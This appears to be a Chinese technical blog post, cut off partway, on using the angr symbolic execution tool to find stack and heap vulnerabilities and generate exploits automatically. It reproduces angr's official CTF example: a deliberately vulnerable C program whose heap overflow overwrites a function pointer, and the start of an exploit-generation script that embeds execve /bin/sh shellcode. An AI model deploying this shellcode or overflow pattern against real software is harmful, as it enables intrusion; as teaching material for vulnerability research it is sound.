漏洞挖掘 符号执行_初探利用angr进行漏洞挖掘(上)

前言

angr是一个基于python开发的一款符号执行工具,可以用于二进制分析,在CTF逆向中有很大的用途,例如可以通过约束求解找到复杂计算的正确解,从而拿到flag;然而angr的用途远不止于此,它甚至还能被用于AEG (Automatic Exploit Generation) ,有一个叫zeratool的工具实现了一些用于简单的pwn的AEG,AEG的步骤一般分为:

  • 挖掘漏洞
  • 生成利用exp
  • 验证exp

zeratool采用的挖掘漏洞的方法是通过符号执行,遍历所有可能存在的约束路径,如果出现了 unconstrained 状态的路径,则认为产生了漏洞,本人在查看zeratool源码和动手实践的过程中发现这种挖掘方法不尽全面,只适用于一些单一漏洞的例子,再加上zeratool采用的angr版本为7.x,而最新的已经是8.x,8.x的api也发生了很大改变

因此想探究在angr 8.x上实现进一步的栈溢出漏洞探索和堆空间中UAF和Double_Free漏洞探索,本篇主要是分享一些对挖掘栈溢出漏洞的想法和心得,堆漏洞的在下篇,水平有限,大佬轻喷Orz

官方例子

先举一个官方的AEG的简单例子(在angr根目录的examples/insomnihack_aeg中)

#include #include #include char component_name[128] = {0};typedef struct component {    char name[32];    int (*do_something)(int arg);} comp_t;int sample_func(int x) {    printf(" - %s - recieved argument %d", component_name, x);}comp_t *initialize_component(char *cmp_name) {    int i = 0;    comp_t *cmp;    cmp = malloc(sizeof(struct component));    cmp->do_something = sample_func;    printf("Copying component name...");     while (*cmp_name)        cmp->name[i++] = *cmp_name++;    cmp->name[i] = '0';    return cmp;}int main(void){    comp_t *cmp;    printf("Component Name:");    read(0, component_name, sizeof component_name);    printf("Initializing component...");    cmp = initialize_component(component_name);        printf("Running component...");    cmp->do_something(1);}

这里很明显可以看到有一个堆溢出漏洞,当component_name长度大于32时,会溢出覆盖到cmp->do_something成员,在之后的cmp->do_something(1)中,会导致程序崩溃

而官方给出的angr脚本如下

import osimport sysimport angrimport subprocessimport loggingfrom angr import sim_options as sol = logging.getLogger("insomnihack.simple_aeg")# shellcraft i386.linux.shshellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")def fully_symbolic(state, variable):    '''    check if a symbolic variable is completely symbolic    '''    for i in range(state.arch.bits):        if not state.solver.symbolic(variable[i]):            return False    return Truedef check_continuity(address, addresses, length):    '''    dumb way of checking if the region at 'address' contains 'length' amount of controlled    memory.    '''    for i in range(length):        if not address + i in addresses:            return False    return Truedef find_symbolic_buffer(state, length):    '''    dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's    control    '''    # get all the symbolic bytes from stdin    stdin = state.posix.stdin    sym_addrs = [ ]    for _, symbol in state.solver.get_variables('file', stdin.ident):        sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))    for addr in sym_addrs:        if check_continuity(addr, sym_addrs, length):            yield addrdef main(binary):    p = angr.Project(binary)    binary_name = os.path.basename(binary)    extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}    es = p.factory.entry_state(add_options=extras)    sm = p.factory.simulation_manager(es, save_unconstrained=True)    # find a bu
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值